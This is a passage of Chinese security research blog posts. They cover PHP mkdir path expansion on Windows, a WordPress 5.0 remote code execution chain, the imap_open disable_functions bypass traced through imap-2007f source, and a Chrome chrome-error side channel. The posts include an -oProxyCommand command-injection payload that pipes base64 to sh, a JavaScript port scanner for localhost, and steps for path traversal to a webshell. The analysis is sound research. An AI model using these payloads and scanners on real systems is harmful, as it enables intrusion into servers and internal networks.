熟悉php内核的朋友不会陌生ZTS,这是php 线程安全的标志。用来应对那些使用线程来处理并发请求的Web服务器,列如window下的IIS,worker_mpm模式下的apahce,生活在线程里面的php需要考虑线程间的读写同时也要保证线程间是安全,所以php需要自己提供ZTS层来管理线程间的操作。当定义了ZTS时候,就也同时定义了虚拟目录(VIRTUAL_DIR),为什么会存在虚拟目录这一说法呢,其实很简单你通过 对应的virtual_file_ex()可以看出来,这个函数的目的在于针对相对路径替换出完整的绝对路径。举很简单的例子,php脚本中写的相对路径,其相对路径一定是针对于该脚本的。在执行脚本的过程中,会进入相应的php 内核里面的php_execute_script(),其中有一步是VCWD_CHDIR_FILE(filename),这是用来根据要执行的脚本位置去切换当前目录,同样这个宏定义有两个不同的函数,一个是在虚拟目录下切换目录,一个是非线程安全环境下单线程切换目录,不同是在线程安全下切换目录,并不是直接调用系统的_chdir(),而是将执行脚本的目录存储在TSRMG中,并给定一个cwd_globals_id,要用的时候再去取,比如创建目录,写文件。因为在多线程环境不能直接修改当前进程的目录,只能预定义一个变量保存各线程的当前目录。

可以看到在线程安全的模式下,若是给的相对路径,都会出现当前目录和相对目录的拼接。且都在win32的环境都会检测目录是否包含* ,?.

0x04 结论汇总

我有主意到那篇的文章作者是在window 上用的phpstudy,我也去看了一下phpstudy的是否有7.0.12的版本,存在一个 php-7.0.12-nts+Apache 确实也是非线程安全。也印证上面我修改php 7.0.12 重新编译的结果,但是一个很有趣的东西是,window的系统调用API _mkdir() 是存在和php内部一样的路径展开功能,即他是允许这样写的./1?/../1 可以在当前目录下写入文件夹1的,这和linux不一样,linux的系统函数是逐层判断。在php7.1之后,改变了系统创建目录的API,从_mkdir 变成了CreateDirectoryW,但是不变的是还是可以存在路径展开的功能。即便你这样写 @@#@$@#$^%$&&**/@!#@!$!%/../../evil也是可以创建目录evil的,可以算是一个小技巧。

但是条件是在windowphp非线程安全模式和PHP_FUNCTION(mkdir)第三个参数为false的情况下是可以这样写目录的。可以算是一个小tips吧。结合相应的应用特点,是可以用到的,而且php版本一般都是非线程安全的,在nginx下都是多进程处理php,即非线程安全。apache只有在worker_mpm才是多线程的,一般也不常用。一般都是prefork_mpm + php_mod,即多进程。利用环境还是比较常见的。

努力在努力,永远不说放弃,终会如愿以偿! --maple

WordPress5.0远程代码执行踩坑分析

分析由来

       这个洞费了我很长时间,因为踩坑比较多,基本上能踩的都踩了。刚开始跟着别人的分析文章走,发现走不通。可能忽略了很多东西,加上我第一次认识 WordPress,不是很熟悉这个框架,并且前端比较复杂,很难找到对应的调用点。其实完全分析到复习成功看来其实确实是一个很精妙的攻击链,不得不赞叹一下!

整个攻击链的流程

  1. 上传我们构造exif头带shell的图片
  2. 进入编辑图片第一次进入edit_post修改图片postmeta_wp_attachment_file字段为辅助目录,再进入crop-image 创建辅助目录
  3. 进入编辑图片第二次进入edit_post修改图片postmeta_wp_attachment_file字段为目标目录,再进入crop-image 创建目标文件
  4. 创建一个新的文章页面
  5. 进去新创建的文章页面,获取wponcepost_id
  6. 自己构造编辑内容即手动添加wponcepost_id同上修改postmeta_wp_page_template字段为上传文件名字前加上cropped- 7.访问修改过的文章页面Getshell

填坑

  1. 第一步构造exif没什么难度,随便找个可写的tag 比如User Comment

  2. 第二步即整个链的关键之处,可以修改和添加任意post的postmeta,但是为什么这里有两步修改_wp_attachment_file,这是其中第一个坑,我的看的分析文章中都没有提过这个问题。列如我们需要将图片移动至相应的主题文件下充当模板。 上传m.jpg 路径为/wp-content/upload/2019/3/05/m.jpg 则需要构造m.jpg?/../../../../themes/twentynineteen/m2.jpg 如果第一步就直接构造这个是有一点问题,会导致再crop-image中写了修改过的图片。

          在 /wp-includes/class-wp-image-editor.php 402行中 会调用对应图片编辑扩展的writeImage函数来写图片,会报错文件地址非法,这里原因就是不存在m.jpg?这个目录,前面虽然有mkdir(dirname($filename),777,true),以递归的形式写,而且会返回true,但是并没有创m.jpg这个目录。而一般涉及到读写的函数都会逐级去判断目录,imagick::writeImage在判断路径时就发生了错误,但是为什么mkdir会执行成功呢,可能原因在于mkdir第三个参数,之前我在看php的内核源码的看见过关于路径的一个expand过程,过程中会将./ ../ 这两个目录展开,我猜测可能是进行了展开,将m.jpg?../抵消了。

           但是问题来了,同样我寻思这样的情况也是在window下成立,确实如此,但是在window情况下出现了两种情况第一种如果文件里面包含的是?,window不允许文件名包含?,道理上在true情况下会忽略,但实际上在truefalse的情况下都写不了,当文件名包含#时在true的情况可以写

          这时候出现了第二种情况,我看见一篇分析中在文件名包含?,却在false的情况下执行成功了,true的情况却不行。作者的解释时true时递归判断了m.jpg?目录名的合法性,在false下没有判断出现了这个问题。这不明显矛盾了吗?

         事后我联系了文章作者询问其php版本为7.0,window我的为5.5。三种不同的情况(包括全程复现下的环境kali/debian php 7.3),这mkdir真的有趣,非常有必要去看一下。

    以下均为文件名包含?的情况

    1. window+php 5.5 mkdir(filename,777,true),mkdir(filename,777,false) 均为false
    2. window+php 7.0 mkdir(filename,777,true)=>false,mkdir(filename,777,false) =>true
    3. linux(kali/debian)+php7.3 mkdir(filename,777,true)=>true,mkdir(filename,777,false) =>false

          写完这篇文章后,mkdir内部的实现必须要看了。结合前面说的,必须先创建辅助目录m.jpg?才能在都后面写图片成功。这一步需要写两次!!

  3. 接下来的模板包含情况,一开始我认为在edit_post 里面只能编辑附件,无奈wordpress 前端太复杂,我找不到接口。只能看wordpress 解析请求的过程,看如何构造才能走到 singer 或者 page 模式上去,因为只有这两个模式加载的时候才会从postmeta中取wp_page_template来加载模板,可惜无论我怎样构造都会加载到attachment的模式上去。

          仔细思考了一下,文章可以走到singer上去,但是能不能修改文章类型的postmeta,因为在请求的时候wordpress有自带的防csrf机制,如果想要改必须要相对应的wpnonce才行。比较wpnonce过程为

    1
    2
    check_admin_referer('update-post_'.$post_id);
    wp_verify_nonce($_REQUEST['wpnonce'],$action); //$action='update-post_'.$post_id

           显然需要动作和post_id结合而成的wpnonce,有了这个我们就能使用edit_post,找了很长时间都没有找到带这个参数的接口,突然我觉得可以在文件编辑页面的html源码搜索一下,尽然有!!,在meta-form 中,到现在我都不知道如何操作才会使用到这个表单,修改文章过程中都是传的json

          拿到wpnoce和post_id拼接请求,且通过meta_input[]修改wp_page_template,包含图片拿到shell。

总结

      确实在看别人分析文章的时候,会出现一些偏差,导致自己的思维有些被限制住了,整个链从任意修改数据库中postmeta,到写文件的路径穿越,到模板文件的加载一气呵成,这样的链也不多了。总以为在分析完一个东西以后,会万事大吉,却发现问题只会源源不断的来 :)。文件最后也遗留了一个关于phpmkdir的处理过程。这也是我接下来的下一篇文章。 第一次用markdown写东西,写的不好大家别介意:)

附上做的一点验证性实验,很有可能我的猜测是正确的!第一个是为false的情况,第二是为true递归执行的情况,我用的是php7.4-dev

图丢失lol

溯源imap_open是如何绕过disable_function

在最近遇见的CTF题中有很多都禁了所有有关命令执行的函数一类的题,如何绕过disable_function执行命令确实是一个问题,对于想要绕过disable_function的方法,有下面几种:

  • 利用环境变量LD_PRELOAD
  • ImageMagick
  • mail函数
  • imagecreatefromgd2
  • 破壳bash漏洞
  • imap_open

最新的方法肯定是imap_open,于是找来几篇imap_open关于绕过disable_function的文章来研究一下,最近也有类似用到imap的CTF题。看了2篇外文,2篇中文。在知道基本的原理的基础上,发现都讲的差不错,然而有些细节方面都没有我想要的,甚至某些地方有一些出入。我想要知道为什么imap会走到ssh上,我注意到在php 函数imap_open的第一个$mailbox参数中多了一个},没有它似乎也没有外部的execve调用,我也想知道内部是如何分隔$mailbox参数的,带着这样的疑问,便有了此文,把php 内核调用imap-2007f的mail_open过程看了一边,终于理顺了。纸上得来终觉浅!

0x01 imap_open 整个调用链的分析

0x00 PHP调用mail_open的过程

php 内部并没有自己实现imap过程,用的是c下imap-2007f的库。

1
0x1 PHP_FUNCTION(imap_open) -> php_imap_do_open() -> mail_open();

这是PHP 内的调用过程,全程没有对其第一个参数$mailbox进行处理,传给了mail_open()

1
imap_stream = mail_open(NIL, ZSTR_VAL(mailbox), flags);

0x01 imap-2007f下mail_open执行过程

进入imap-2007f的库函数下mail_open() imap-2007f/src/c-client/mail.c:1186name$mailbox

1
2
3
4
5
6
switch (name[0]) {		
case '#': ...
default:
d = mail_valid (NIL,name,(options & OP_SILENT) ?
(char *) NIL : "open mailbox");
}

进入 switch 如果mailbox 开头是#,会进行特别的处理,类似于hook预处理。

或者进入default这是我们要进的位置。

0x02 驱动选择过程

->mail_valid() imap-2007f/src/c-client/mail.c:1257

选择要使用的邮件驱动 包括 imapdriverpop3drivernntpdriverdummydriver

首先会有一个基础的判断mailbox不允许带 \n\r,前面会通过mail_link() 将这些驱动注册到全局变量factory

1
2
3
4
5
for (factory = maildrivers; factory && 
((factory->flags & DR_DISABLE) ||
((factory->flags & DR_LOCAL) && (*mailbox == '{')) ||
!(*factory->valid) (mailbox));
factory = factory->next);

通过遍历factory,由各个驱动的valid 函数来进行决定用哪个驱动。最后返回选择好的驱动。比如imap_vaild() 都会通过 mail_vaild_net_parse()分割mailbox 通过得到的 service 和 驱动的名字比较。若相符则正常返回。这个函数是重点后面详细讲,返回选择好的驱动返回,接着走。

1
d ? mail_open_work (d,stream,name,options) : stream;

-> mail_open_work( ) imap-2007f/src/c-client/mail.c 1260:

选择好驱动以后,进入mail_open_work(), 因为传入streamnil,需要初始化一个新的stream 结构,然后调用相应mail驱动的open() 函数,这里是imap_open()

1
return ((*d->open)(stream)) ? stream : mail_close(stream);

0x03 imap_open 执行过程

-> imap_open() imap-2007f/src/c-client/imap4r1.c:783

这里首先会进入mail_valid_net_parse()这个刚才函数,这里是为了将$mailbox分割出一个NETMBX结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct net_mailbox {
char host[NETMAXHOST]; /* host name (may be canonicalized) */
char orighost[NETMAXHOST]; /* host name before canonicalization */
char user[NETMAXUSER]; /* user name */
char authuser[NETMAXUSER]; /* authentication user name */
char mailbox[NETMAXMBX]; /* mailbox name */
char service[NETMAXSRV]; /* service name */
unsigned long port; /* TCP port number */
unsigned int anoflag : 1; /* anonymous */
unsigned int dbgflag : 1; /* debug flag */
unsigned int secflag : 1; /* secure flag */
unsigned int sslflag : 1; /* SSL driver flag */
unsigned int trysslflag : 1; /* try SSL driver first flag */
unsigned int novalidate : 1; /* don't validate certificates */
unsigned int tlsflag : 1; /* TLS flag */
unsigned int notlsflag : 1; /* do not do TLS flag */
unsigned int readonlyflag : 1;/* want readonly */
unsigned int norsh : 1; /* don't use rsh/ssh */
unsigned int loser : 1; /* server is a loser */
unsigned int tlssslv23 : 1; /* force SSLv23 client method over TLS */
} NETMBX;

其中包括后面需要用到的各种参数。也是后面判断进入各种流程的重要依据.

->mail_valid_net_parse() -> mail_valid_net_parse_work() imap-2007f/src/c-client/mail.c 734

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (*name++ != '{') return NIL;
if (*name == '[') { /* if domain literal, find its ending */
if (!((v = strpbrk (name,"]}")) && (*v++ == ']'))) return NIL;
}
/* find end of host name */
else if (!(v = strpbrk (name,"/:}"))) return NIL;
/* validate length, find mailbox part */
if (!((i = v - name) && (i < NETMAXHOST) && (t = strchr (v,'}')) &&
((j = t - v) < MAILTMPLEN) && (strlen (t+1) < (size_t) NETMAXMBX)))
return NIL; /* invalid mailbox */
strncpy (mb->host,name,i); /* set host name */
strncpy (mb->orighost,name,i);
mb->host[i] = mb->orighost[i] = '';
strcpy (mb->mailbox,t+1)

重点看host ,前面都是基础的判断条件,去掉了[] 包裹的内容。

“/:}”中第一个出现的字符标志为hostname的结束符, 却最后又以}判断 server部分的结束,}之后判定为邮箱的名字。当出现一种情况}同时是hostname的结束符,也是整个server部分的结束符。当出现这种下,中间存在目标邮箱地址的端口号和指定的flag都会被略过,会出现下面if判断条件不成立。

1
if (t - v) // t-v == 0

因为不会进入接下的if语句,就不会进行目标邮箱server的端口赋值即mb->port和各种/flag的判断和对mb的赋值 。即使原来的mailbox里flag参数中存在/norsh 也不会起作用。这个分割函数其实很有意思,因为没有进入if语句 也没有得到相应的service 参数来选择对应的驱动,但是会自动赋值为调用者的service名字,前面说了各个mail驱动的vaild的函数会选择是否适用于当前mailbox,都会默认传递自己的service的名字,可以说4个驱动在这种情况都是可以用的,但是很巧的是 imapdriver是第一个注册的。所以理所当然的走到了imap下。

1
if (!*mb->service) strcpy (mb->service,service);

回到 ->imap_open

经过分割得到的mb 参数。因为没有进入if语句会丢失很多赋值过程

1
2
3
4
5
if (mb.dbgflag) stream->debug = T;
if (mb.readonlyflag) stream->rdonly = T;
if (mb.anoflag) stream->anonymous = T;
if (mb.secflag) stream->secure = T;
if (mb.trysslflag || imap_tryssl) stream->tryssl = T;

列如这些都不会进如 if,因为/flag 都没有判断。

1
2
3
4
if (stream->anonymous || mb.port || mb.sslflag || mb.tlsflag)
reply = (LOCAL->netstream = net_open (&mb,NIL,defprt,ssld,"*imaps",
sslport)) ?
imap_reply (stream,NIL) : NIL;

相应的 stream->anonymous mb.port mb.sslflag mb.tlsflag都是NIL

1
else if (reply = imap_rimap (stream,"*imap",&mb,usr,tmp));

0x04 imap_rimap 执行过程

->imap_rimap imap-2007f/src/c-client/imap4r1.c:1022

1
if (!mb->norsh && (tstream = net_aopen (NIL,mb,service,usr)))

-> net_aopen() /root/bypass_disable_function/imap-2007f/src/c-client/mail.c:6218

1
2
if (!dv) dv = &tcpdriver;
if (tstream = (*dv->aopen) (mb,service,user))

-> tcp_aopen(unix) imap-2007f/src/osdep/unix/tcp_unix.c imap-2007f/src/osdep/unix/tcp_unix.c:330

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ifdef SSHPATH                       /* ssh path defined yet? */
if (!sshpath) sshpath = cpystr (SSHPATH);
#endif
#ifdef RSHPATH /* rsh path defined yet? */
if (!rshpath) rshpath = cpystr (RSHPATH);
#endif
if (*service == '*') { /* want ssh? */
/* return immediately if ssh disabled */
if (!(sshpath && (ti = sshtimeout))) return NIL;
/* ssh command prototype defined yet? */
if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
/* want rsh? */
else if (rshpath && (ti = rshtimeout)) {
/* rsh command prototype defined yet? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
else return NIL;

关于rsh的寻址问题其他文章也讲的很清楚了。SSHPATHRSHPATH都先从/etc/c-client.cf 的配置文件得到,一般都是为空,但RSHPATH在编译的时候可以从makefile里面可以被指定为 /usr/bin/rsh,在debianrsh 又是指向 ssh

图片2.png
1
2
3
4
else if (rshpath && (ti = rshtimeout)) {
/* rsh command prototype defined yet? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}

rshcommand是默认nil,这里赋值。

1
else sprintf (tmp,rshcommand,rshpath,host,mb->user[0] ? mb->user : myusername (),service);

写入tmp里面,rshpath/usr/bin/rshhostmb->host经过tcp_canonical 并通过dns解析,返回原值。user 为 myusername()调用者是谁,我这里是root ,service 即“imap”

1
2
3
4
tmp` 应为 `“rshpath mb->host -l myusername() exec /usr/sbin/rimapd”
for (i = 1,path = argv[0] = strtok_r (tmp," ",&r);
(i < MAXARGV) && (argv[i] = strtok_r (NIL," ",&r)); i++);
argv[i] = NIL;

这个地方也很关键,是分割pathargs 的位置,这里也有跟国内的两篇的文章有出入,并不是他们说的不能用$mailbox 包含空格 ,因为会被转义,?????,这是转义吗?这是以空格为标志分割命令执行的参数。所以这里不能用空格 可以用 \t$IFS来代替,

其最后execv (path,argv)

1
execv("/usr/bin/rsh",["/usr/bin/rsh",host ...]

这里已经可以通过修改hostname达到参数注入,同样ssh 也有那么一个参数可以执行任意命令-oProxyCommand,避免不要的麻烦,可以base64,因为涉及到getshell 可能会出现写路径出现/,因为前面说了/同样是可以判定hostname的结束符,这样把}提前就没有意义了。下面的strace 结果可能会看的更清楚

图片1.png

0x02 Payload && 官方修复分析

附上官方验证性payload ,至于修复php官方 默认将rsh和ssh 的连接超时设置为了0

1
2
3
4
5
6
7
8
9
STD_PHP_INI_BOOLEAN("imap.enable_insecure_rsh", "0", PHP_INI_SYSTEM, OnUpdateBool, enable_rsh, zend_imap_globals, imap_globals)

...

if (!IMAPG(enable_rsh)) {
/* disable SSH and RSH, see https://bugs.php.net/bug.php?id=77153 */
mail_parameters (NIL, SET_RSHTIMEOUT, 0);
mail_parameters (NIL, SET_SSHTIMEOUT, 0);
}

rshtimeoutsshtimeout 同样也可以来源于 /etc/c-client.cf ,一般情况这个文件是空的,同样在tcp_unxi.c 中也对这个两个值进行了赋值,默认都为15.

tcp_aopen() imap-2007f/src/osdep/unix/tcp.unix.c 349

1
else if (rshpath && (ti = rshtimeout)) return NIL

这样一来就给限制住了,直接返回nil. 下面是官方测试用的payload

1
2
3
$payload = "echo 'BUG'> " . __DIR__ . '/__bug';
$payloadb64 = base64_encode($payload);
$server = "x -oProxyCommand=echo\t$payloadb64|base64\t-d|sh}";

0x03 对其整个过程的思考和总结

在php 使用imap_open的时候一定需要注意 :第一个参数$mailbox php本身并没有对其进行检验是否符合格式的操作。只是判断了第一个字符是不是{,在c的imap-2007f库中虽然进行了参数化,但在处理上还是有一定的问题。

比如在最后tcp_aopen() imap-2007f/src/osdep/unix/tcp.unix.c:371

1
strcpy(host,tcp_canonical(mb->host))

tcp_canonical 仅仅对hostname 进行了 ip_nametoadress 其本身就是调用了gethostname,若解析不了则原hostname 返回,这过程是不是存在一点问题?

所以在使用imap_open 中对hostname 一定要严格限定,应过滤相应的/ } 这些字符。

在选择外部调用的问题上,是否应该完全交付处理,这问题出在信任链上。

0x04 整个过程的调用链

img

0x05 参考连接

https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

https://nosec.org/home/detail/2044.html

https://xz.aliyun.com/t/4113

https://github.com/asmlib/imap-2007f

chrome-error://chromewebdata/的利用

今天发现一个很有趣的东西,利用chrome-error://chromewebdata 来判断页面。想研究一下原理

1. 用chrome-error://chromewebdata 来进行 端口扫描

在chrome 里面比如访问http://127.0.0.1:8888 这个端口并没有开,chrome 会显示 refuse, 在console 里面看location == 'chrome-error://chromewebdata'.但是地址栏不变。在地址栏里面加# 这个时候页面会重载。因为地址栏和location 并不一样。所以会重载, 如果这127.0.0.1:8888端口开了,页面显示正常,location 和 地址栏一致。如果再加个#并不会 页面重载,利用这个差异可以进行端口判断。

如果需要批量的话,整个页面不可能一直重载把,即不能动 top-frame ,这个时候需要插入一个iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<iframe name="test" src > </iframe>
<script>

f = document.getElementsByName('test')[0];

f.onload = () =>{console.log("1111111")};

f.src = "http://127.0.0.1:80";

a = document.createElement('a');

a.target = f.name;

a.href = f.src + "#";

</script>

http://127.0.0.1:80 这个页面显示正常,所以只会console.log 一次 ,如果 换成 http://127.0.0.1:8888 没有开启的端口。这个时候会显示两次 console.log。利用这个差异就可以批量检测端口。当然目标网站如果 X-Frame-Options with deny 会影响结果。一个简单的port 扫描如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<iframe name="test" src="" ></iframe>
<script>
var URL = 'http://127.0.0.1:';
var port = 70;
var limit = 10000;
var urlarr = [];
var f = document.getElementsByName('test')[0];
function scan(i){
if(i > limit) return;
var where = URL+i+"/";
console.log(where);
var calls = 0;
f.onload = () =>{
calls++;
f(calls>1){
clearTimeout(timer);
scan(i+1);
return;
}
var a = document.createElement('a');
a.target = f.name;
a.href = f.src+'#'
a.click();
a = null;
}
f.src = where;
timer = setTimeout(()=>{urlarr.push(i);scan(i+1);},2000);
}
scan(port);
</script>

setTimeout 需根据请求响应的时间调整。本地跑的很快。

2. ssrf

当然出现chrome-error://chromewebdata/ 不只仅仅是访问refuse 时会出现,触发csp,触发xss auditor 都会出现。其实关键在于 地址栏 和 location 的值不一致时候 对于 url+"#"的处理,一致时就不会重载。不一致就会触发页面刷新。

在353C CTF filemanager 中就利用了 xss auditor 让页面出现 chrome-error://chromewebdata/。题目因为存在xsrf 存在无法直接xss。体外话,其实找xsrf 的token 也可以用相似的侧信道,我在有些go 的框架里面注意到,关于xsrf的token 字符串比较都是需要用 subtle.ConstantTimeCompare ,并不是简单的 token == expect,用来防止时序攻击,比较字符串时,有可能因为字符串不一样 返回的时间有所不同。

chrome-error://chromewebdata/ 是用来验证页面一个不错的法子。当然有一定的局限型,必须是可以连续的验证的

1
2
3
4
5
6
7
8
9
10
<?php
$password = @$_GET["password"];
if($password==='admin'){
echo "you get it." ;
echo "<script>var a='aaaaaa';</script>";
}else{
echo "guess error!" ;
echo "<script>var b='bbbbbb';</script>";

}

这样的情况下不行 只有唯一情况 页面不一样,并具有有连续的性。无法验证

===的RHS 换成 strpos('admin',$password); 就可以用这种方式。在某些ssrf 中可能有奇效。记录一下。

永远不说放弃,努力再努力,终会如愿以偿!